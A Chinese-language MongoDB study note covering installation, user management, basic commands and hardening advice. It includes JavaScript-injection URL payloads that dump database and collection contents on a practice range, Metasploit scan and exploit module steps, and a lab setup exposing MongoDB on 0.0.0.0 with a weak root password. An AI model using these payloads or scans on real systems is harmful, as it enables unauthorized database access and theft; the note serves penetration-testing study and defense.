# MongoDB 学习

### 基础知识

* `端口号`：27017
* 初始数据库
  * `admin`：从权限的角度来看，这是"root"数据库。要是将一个用户添加到这个数据库，这个用户自动继承所有数据库的权限。一些特定的服务器端命令也只能从这个数据库运行，比如列出所有的数据库或者关闭服务器
  * `local`：这个数据永远不会被复制，可以用来存储限于本地单台服务器的任意集合
  * `config`：当 Mongo 用于分片设置时，config 数据库在内部使用，用于保存分片的相关信息
* 安装 MongoDB
  * windows

    ```bash
    # 下载安装包，第二个是图形界面管理工具
    https://fastdl.mongodb.org/windows/mongodb-windows-x86_64-4.4.13.zip
    https://downloads.mongodb.com/compass/mongodb-compass-1.31.2-win32-x64.zip

    # 解压至 C:\mongodb\ 目录下
    # 配置环境变量：C:\mongodb\bin
    # 编写配置文件，便于后续以配置文件的方式启动 MongoDB 服务，创建 C:\mongodb\mongodb.conf 文件，写入如下内容，然后保存
    ```

    ```bash
    # 系统日志相关
    systemLog:
      destination: file # 使用文件存储日志
      path: C:\mongodb\log\mongodb.log # 日志位置，创建 \log 目录
      logAppend: true # 是否以追加的形式记录日志

    # 数据相关
    storage:
      journal: # 回滚日志
        enabled: true
      dbPath: C:\mongodb\data\db # 数据存储目录，创建 \data\db 目录

    # 网络配置相关
    net:
      port: 27017 # 默认端口
      bindIp: 0.0.0.0 # 绑定ip，多个ip以逗号分隔
    ```

    ```bash
    # 将 MongoDB 服务添加 Windows 的服务，以管理员的身份打开终端
    mongod --config C:\mongodb\mongodb.conf --install

    # 在终端开启 MongoDB 服务
    net start mongodb
    ```
  * kali

    ```bash
    # 添加软件包
    apt-get install gnupg
    wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | apt-key add -
    echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | tee /etc/apt/sources.list.d/mongodb-org-4.4.list
    apt-get update

    # 最新版安装
    apt-get install -y mongodb-org
    # 定制版安装，并锁定版本
    apt-get install -y mongodb-org=4.4.13 mongodb-org-server=4.4.13 mongodb-org-shell=4.4.13 mongodb-org-mongos=4.4.13 mongodb-org-tools=4.4.13
    echo "mongodb-org hold" | dpkg --set-selections
    echo "mongodb-org-server hold" | dpkg --set-selections
    echo "mongodb-org-shell hold" | dpkg --set-selections
    echo "mongodb-org-mongos hold" | dpkg --set-selections
    echo "mongodb-org-tools hold" | dpkg --set-selections

    # 启动 MongoDB
    systemctl daemon-reload
    systemctl start mongod
    systemctl status mongod
    systemctl enable mongod

    # 查看日志
    cat /var/log/mongodb/mongod.log

    # 配置远程连接，第 24 行修改 bindIp 为 0.0.0.0
    vim /etc/mongod.conf

    # 重启服务
    systemctl restart mongod

    # 开启交互式shell
    mongo
    ```
  * 创建用户

    ```
    # 配置服务并设置远程连接
    mongo
    use admin

    # 新建用户
    db.createUser({user:"Toki",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{"role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})

    # 对账号授权
    db.auth("Toki","123456")

    # 远程登录
    mongo -u Toki -p 123456 <目标机IP>:27017/admin

    # 账号管理命令
    # 修改用户权限
    db.updateUser("Toki", {roles:[{role:"readWriteAnyDatabase", db:"admin"}] })
    # 修改用户密码
    db.changeUserPassword("Toki","123456")
    # 删除用户
    db.dropUser('Toki')
    ```
* 常用命令

  MongoDB 可以有多个数据库，每个数据库都含有一个或多个集合 collections，每个集合都含有一个或多个文档 documents

  ```bash
  # 创建数据库
  use <库名>

  # 查看当前数据库
  db

  # 将数据插入集合
  db.data.insert({"user":"Toki"})
  db.data.insert({"Toki":"123"})
  db.data.insert({"Toki":"456"})

  # 查看数据库列表
  show dbs

  # 查询数据
  db.data.find()

  # 在查询数据时写入条件
  db.data.find({"user":"Toki"})

  # 删除数据
  db.data.remove({"Toki":"456"})
  db.data.find()

  # 删除集合
  show collections
  db.data.drop()
  show collections

  # 删除数据库
  db.dropDatabase()
  show dbs
  ```

### 在线靶场

[SQL手工注入漏洞测试(MongoDB数据库)](https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe)

```bash
# 构造连接测试回显
/new_list.php?id=1'}); return ({title:1,content:'2

# 爆库
/new_list.php?id=1'}); return ({title:tojson(db),content:'1

# 爆表
# 查询有的集合（集合相当于mysql的表）
/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
# find函数用于查询，0是第一条数据
/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

# MD5 破解：https://www.cmd5.com/
```

### MSF渗透Mongodb

MongoDB 默认端口 27017，当配置成无验证时，存在未授权访问，使用 msf 中的 `scanner/mongodb/mongodb_login` 模块进行测试，使用 navicat 连接获取数据库中的内容。

```bash
# 未授权验证扫描
use auxiliary/scanner/mongodb/mongodb_login
set rhosts <目标靶机IP>/24
set threads 10
exploit

# exp 利用
use exploit/linux/misc/mongod_native_helper
set password <密码>
set username <账户名>
set rhosts <目标靶机IP>
exploit
```

### 自动化评估

#### NoSQLMap

* 介绍：

  NoSQLMap 是一个开源的 Python 工具，用于审计和自动化注入攻击，并利用 NoSQL 数据库中的缺省配置弱点，以及使用 NoSQL 的 Web 应用程序来泄露数据库中的数据。目前，这个工具的漏洞主要集中在 MongoDB 上，但是在未来的版本中计划对其他基于 NoSQL 的平台（如 CouchDB，Redis 和 Cassandra）提供额外的支持。
* 特性：
  * 自动化的 MongoDB 和 CouchDB 数据库枚举和克隆攻击。
  * 通过 MongoDB Web 应用程序提取数据库名称，用户和密码哈希。
  * 使用默认访问和枚举版本扫描 MongoDB 和 CouchDB 数据库的子网或 IP 列表。
  * 使用强力字典爆破 MongoDB 和 CouchDB 的哈希。
  * 针对 MongoClient 的 PHP 应用程序参数注入攻击返回所有数据库记录。
  * Javascript 函数变量转义和任意代码注入来返回所有的数据库记录。
  * 基于计时的攻击类似于 SQL 盲注来验证没有回显信息的 Javascript 注入漏洞。
* 下载：

  ```bash
  git clone https://github.com/codingo/NoSQLMap.git
  cd NoSQLMap

  # 方法一
  python2 setup.py install

  # 方法二
  cd docker
  docker build -t nosqlmap .

  # 方法三
  docker-compose build
  docker-compose run nosqlmap
  ```

### 整改加固建议

#### 本地监听

如 MongoDB 只需在本地使用，建议只在本地开启监听服务，使用 `--bind_ip 127.0.0.1` 绑定监听地址

```bash
mongod --bind_ip 127.0.0.1 --dbpath /tmp/test
```

或着在配置文件中指定监听 IP，Linux 下默认配置文件为 `/etc/mongod.conf`

```bash
# network interfaces
net:
  port: 27017
  bindIp: 127.0.0.1
```

指定配置文件启动

```bash
mongod --config /etc/mongod.conf
```

3.0 及之后版本的 MongoDB，监听服务默认只对 127.0.0.1 开放

#### 限制访问源

如果仅对内网服务器提供服务，建议禁止将 MongoDB 服务发布到互联网上，并在主机上通过防火墙限制访问源 IP

* Linux 使用 iptables 进行限制

  ```bash
  # 允许外部应用访问 MongoDB 默认服务端口 27017
  iptables -A INPUT -s <需访问 MongoDB 服务的 IP> -p tcp --destination-port 27017 -m state --state NEW,ESTABLISHED -j ACCEPT
  # 允许 MongoDB 外出流量到达外部应用
  iptables -A OUTPUT -d <需访问 MongoDB 服务的 IP> -p tcp --source-port 27017 -m state --state ESTABLISHED -j ACCEPT
  ```
* Windows 可以通过图形管理界面添加防火墙策略或使用 netsh 命令添加，参考文档：<https://docs.mongodb.com/manual/tutorial/configure-windows-netsh-firewall/>

#### 启动基于角色的登录认证功能

* MongoDB 支持 SCRAM、x.509 证书认证等多种认证机制，SCRAM（Salted Challenge Response Authentication Mechanism 加盐挑战响应认证机制）是 3.x 版本的默认认证机制，该机制通过用户名、密码验证，基于用户角色进行访问控制。
* MongoDB 3.0 及以上版本启动时添加 `--auth` 参数开启认证访问，此时若数据库中无账号，本地登录则无权限进行任何操作，因此需要先以无认证的方式启动服务并创建系统用户管理员账号。

```bash
# 以无访问认证的方式启动 MongoDB
mongod --dbpath /data/db

# 未开启认证的环境下，登录到数据库
mongo --host 127.0.0.1 --port 27017

# 切换到 admin 库
use admin

# 创建一个系统用户管理员账号（3.0 之前版本使用 db.addUser 方法创建用户）
db.createUser(
  {
    user: "<用户名>",
    pwd: "<密码>",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
  }
)

# 重启 MongoDB 服务，开启访问认证启动时添加 --auth 参数
mongod --auth --port 27017 --dbpath /tmp/test
# 或在配置文件中添加以下内容，指定配置文件启动服务
security:
  authorization: enabled
# 指定配置文件启动 MongoDB
mongod --config /etc/mongod.conf

# 使用系统用户管理员账号登录
mongo --port 27017 -u "<用户名>" -p "<密码>" --authenticationDatabase "admin"

# 也可以在连接 MongoDB 时不指定认证信息，连接成功后通过 db.auth() 方法进行认证
use admin
db.auth("<用户名>","<密码>")

# 创建数据库用户，创建完系统用户管理员账号并通过系统用户管理员登陆后，对每个库创建指定的用户。
# 下面以对 products 库创建一个具有读写权限的用户
use products
db.createUser(
   {
     user: "<用户名>",
     pwd: "<密码>",
     roles: [ "readWrite", "dbAdmin" ]
   }
)

# 使用数据库用户访问指定库
mongo --port 27017 -u "<用户名>" -p "<密码>" --authenticationDatabase "products"
```
